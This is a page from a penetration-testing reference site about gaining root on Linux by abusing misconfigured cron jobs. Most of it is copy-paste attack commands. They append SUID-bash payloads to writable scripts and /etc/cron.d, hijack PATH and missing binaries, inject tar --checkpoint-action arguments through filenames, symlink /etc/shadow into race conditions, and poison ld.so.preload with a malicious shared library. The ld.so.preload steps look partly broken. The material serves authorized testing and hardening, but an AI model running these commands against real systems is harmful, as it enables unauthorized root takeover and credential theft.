# Cron Job Privilege Escalation

> Exploit misconfigured cron jobs running as root to escalate privileges via writable scripts, PATH hijacking, or wildcard injection on Linux systems.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/cron-job-privilege-escalation
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-02-13
- **Updated:** 2026-07-10

Cron is reliable when a privileged job executes something you can influence: writable scripts, writable cron definitions, unsafe PATH usage, relative paths in writable directories, wildcard injections, unsafe temporary files, or missing binaries you can plant.

For systemd timer-based scheduled jobs see [https://hackindex.io/platforms/linux/privilege-escalation/systemd-unit-and-timer-privilege-escalation](https://hackindex.io/platforms/linux/privilege-escalation/systemd-unit-and-timer-privilege-escalation).

## Prerequisites Check

Grab everything cron reads across common distributions:

```bash
# Service status and log source
systemctl status cron 2>/dev/null || systemctl status crond 2>/dev/null
journalctl -u cron -u crond --no-pager -n 200 2>/dev/null

# Syslog-based distros
grep -R "CRON" /var/log/syslog 2>/dev/null | tail -50
cat /var/log/cron.log 2>/dev/null | tail -50
cat /var/log/cron 2>/dev/null | tail -50

# System-wide definitions
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/ 2>/dev/null
cat /etc/crontab 2>/dev/null
cat /etc/anacrontab 2>/dev/null

# Your own crontab
crontab -l 2>/dev/null
```

Read root's spool if accessible: this is already a misconfiguration:

```bash
ls -la /var/spool/cron /var/spool/cron/crontabs 2>/dev/null
cat /var/spool/cron/crontabs/root 2>/dev/null
cat /var/spool/cron/root 2>/dev/null
```

What to note from output:

- `/etc/crontab` and `/etc/cron.d/*` lines include a run-as user column
- `/etc/cron.{hourly,daily,weekly,monthly}` run through `run-parts`
- Anacron exists on endpoints where missed runs are replayed on next boot

## Find Cron Activity Without Logs

On hardened systems, logs may be restricted or disabled. Use pspy to see cron processes as an unprivileged user:

```bash
chmod +x ./pspy64
./pspy64 -pf -i 1000
```

Wait 2-3 minutes and watch for UID=0 processes on a regular cadence. Note the exact command line, run-as user, and schedule.

See [https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools](https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools) for pspy download methods including no-wget alternatives.

If pspy is unavailable, use file timestamps as a fallback: watch for `mtime` changes in output directories, log locations, and the scripts themselves:

```bash
# Baseline
ls -la /var/backups/ /tmp/ /opt/
sleep 65
ls -la /var/backups/ /tmp/ /opt/
```

## Cron Execution Context

Cron does not use your interactive shell environment. It runs `/bin/sh` with a minimal environment (HOME, LOGNAME, SHELL, PATH). Check what PATH cron is using: this determines if PATH hijacking is viable:

```bash
grep -nE '^(SHELL|PATH|HOME|MAILTO|LANG)=' /etc/crontab /etc/cron.d/* 2>/dev/null
grep "SHELL=" /etc/crontab 2>/dev/null
```

If a target script expects a user profile to load credentials or PATH and sources them unsafely, that sourced file may be writable.

## Cron Job Privilege Escalation via Writable Scripts

Cleanest path: a privileged job executes a file you can modify:

```bash
# Find writable cron-controlled files
find /etc/cron* /var/spool/cron -type f -writable 2>/dev/null

# Group-writable scripts matching your group
find /etc/cron* -type f -group $(id -gn) 2>/dev/null

# Check a specific script you found in crontab
ls -lah /path/to/script.sh
getfacl -p /path/to/script.sh 2>/dev/null
```

If writable, append a payload:

```bash
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /path/to/script.sh
```

Wait for cron to execute (up to the schedule interval), then:

```bash
/tmp/.rootbash -p
```

If the script is not writable but lives in a writable directory, replace it entirely:

```bash
ls -ld /path/to/
mv /path/to/script.sh /path/to/script.sh.bak
echo '#!/bin/sh' > /path/to/script.sh
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /path/to/script.sh
chmod +x /path/to/script.sh
```

## Writable Cron Definition Files

Writable files under `/etc/cron.d/` or an editable `/etc/crontab` let you control what runs and as which user:

```bash
ls -la /etc/crontab /etc/cron.d 2>/dev/null
find /etc/cron.d -type f -maxdepth 1 -writable 2>/dev/null
getfacl -p /etc/crontab /etc/cron.d 2>/dev/null
```

Important constraints:

- **Insecure Mode:** Many cron versions refuse files in `/etc/cron.d` that are group-writable or world-writable. You will see `INSECURE MODE` in logs. The file will not execute even if you wrote it. Fix permissions after writing if you have the ability
- **Naming rules:** On Debian-style cron, files in `/etc/cron.d` must use only letters, digits, underscores, and hyphens: no dots

If writable, add a job:

```bash
echo '* * * * * root cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' > /etc/cron.d/privesc
```

## PATH Hijacking Inside Cron Scripts

Applies when a privileged script calls commands without absolute paths and the cron PATH includes a writable directory:

```bash
# Find non-absolute command usage
grep -nE '(^|[;&|\s])(tar|gzip|zip|rsync|cp|mv|python|perl|bash|sh|node|java)\b' /path/to/script.sh 2>/dev/null

# Check the cron PATH
grep -nE 'PATH=' /etc/crontab /etc/cron.d/* /path/to/script.sh 2>/dev/null
```

If the script sets `PATH=/tmp:/usr/bin` and calls `tar` without an absolute path:

```bash
echo '#!/bin/sh' > /tmp/tar
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /tmp/tar
chmod +x /tmp/tar
```

Wait for cron to fire.

For the full PATH hijacking technique see [https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking](https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking).

## Missing Binary Hijacking (Ghost Binaries)

A cron job tries to execute a binary that does not exist. If you can write to any directory in the cron PATH, plant it there:

```bash
# Check logs for command not found
grep -i "not found" /var/log/syslog /var/log/cron.log 2>/dev/null

# pspy output: exit 127 means command not found
./pspy64 -pf -i 1000 | grep "exit status 127"

# Verify write access to cron PATH directories
ls -ld /usr/local/bin /var/tmp /tmp
```

If `custom_backup` is missing and `/usr/local/bin` is writable:

```bash
echo '#!/bin/sh' > /usr/local/bin/custom_backup
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /usr/local/bin/custom_backup
chmod +x /usr/local/bin/custom_backup
```

## Wildcard Injection

When a privileged script runs a command with `*` in a directory you can write to, filenames become command-line arguments:

```bash
# Find wildcard usage in cron scripts
grep -RInE '\b(tar|rsync|chown|chmod|find).*\*' /etc/cron* /usr/local/bin /opt 2>/dev/null
```

Example: script runs: `cd /var/www/html && tar -cf /backup/web.tar *`

And you can write to `/var/www/html`:

```bash
echo '#!/bin/sh' > /var/www/html/shell.sh
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /var/www/html/shell.sh
chmod +x /var/www/html/shell.sh

touch /var/www/html/--checkpoint=1
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
```

When tar runs with `*`, the filenames expand as arguments. `--checkpoint=1` triggers after the first file, `--checkpoint-action` executes your script.

## Symlink Race Conditions

If a root cron job runs `chown`, `cp`, or `mv` on files in a directory you control:

```bash
# Monitor for periodic file operations in writable dirs
watch -n 0.1 ls -la /home/$USER/reports/

# Example: cron runs 'chown $USER:$USER /home/$USER/reports/*'
# Before cron fires, symlink a sensitive file
ln -s /etc/shadow /home/$USER/reports/shadow_link
```

If root runs `chown` on your directory, it may follow the symlink and change ownership of `/etc/shadow` to your user. Then read it directly for offline cracking.

## File Overwrite via Output Redirection Symlinks

If a root cron job redirects output to a predictable file in a writable directory:

```bash
# Find redirections in cron definitions
grep -R ">" /etc/cron* /etc/crontab 2>/dev/null
```

If cron writes to `/tmp/output.log`, symlink it to a sensitive target before the job runs:

```bash
ln -sf /etc/ld.so.preload /tmp/output.log
```

When the job runs and writes to `/tmp/output.log`, it actually writes to `/etc/ld.so.preload`. Poison it with a path to a malicious shared library:

**/tmp/privesc.c**

```c
#include <stdlib.h>
#include <unistd.h>
void __attribute__((constructor)) init() {
    setuid(0); setgid(0);
    system("cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash");
}
```

```bash
gcc -shared -fPIC -o /tmp/privesc.so /tmp/privesc.c
echo '/tmp/privesc.so' > /tmp/ld_content.txt
ln -sf /etc/ld.so.preload /tmp/output.log
# Wait for cron to write: content ends up in ld.so.preload
```

## Anacron and at/batch

Anacron runs missed jobs after a system resumes: check its timestamp files for manipulation opportunities:

```bash
ls -la /var/spool/anacron/
cat /var/spool/anacron/cron.daily 2>/dev/null
```

The timestamp file contains the last run date. If writable, set it to an old date to force a missed-run replay on next boot.

`at` and `batch` schedule one-time jobs and are frequently overlooked:

```bash
# List pending at jobs
atq 2>/dev/null

# Check at job contents (jobs run by root visible if you have permission)
ls -la /var/spool/at/ 2>/dev/null
cat /var/spool/at/a00001* 2>/dev/null
```

## run-parts from Writable Directories

If a cron line calls `run-parts` on a directory you can write to:

```bash
grep -RIn "run-parts" /etc/crontab /etc/cron.d 2>/dev/null
ls -ld /path/to/dir

# Verify what run-parts would accept (no dots in filenames)
run-parts --test /path/to/dir 2>/dev/null
```

If writable, add a script using only letters, digits, underscores, and hyphens in the name:

```bash
echo '#!/bin/sh' > /path/to/dir/privesc
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /path/to/dir/privesc
chmod +x /path/to/dir/privesc
```

## References

- [crontab(5)](https://man7.org/linux/man-pages/man5/crontab.5.html) - Cron environment variables and syntax
- [cron(8)](https://man7.org/linux/man-pages/man8/cron.8.html) - Cron search paths and job loading behavior
- [crontab(1)](https://man7.org/linux/man-pages/man1/crontab.1.html) - cron.allow and cron.deny access control behavior
- [run-parts(8)](https://man.archlinux.org/man/run-parts.8) - Filename constraints and --test behavior
- [pspy](https://github.com/DominicBreuker/pspy) - Process monitoring without root for scheduler discovery
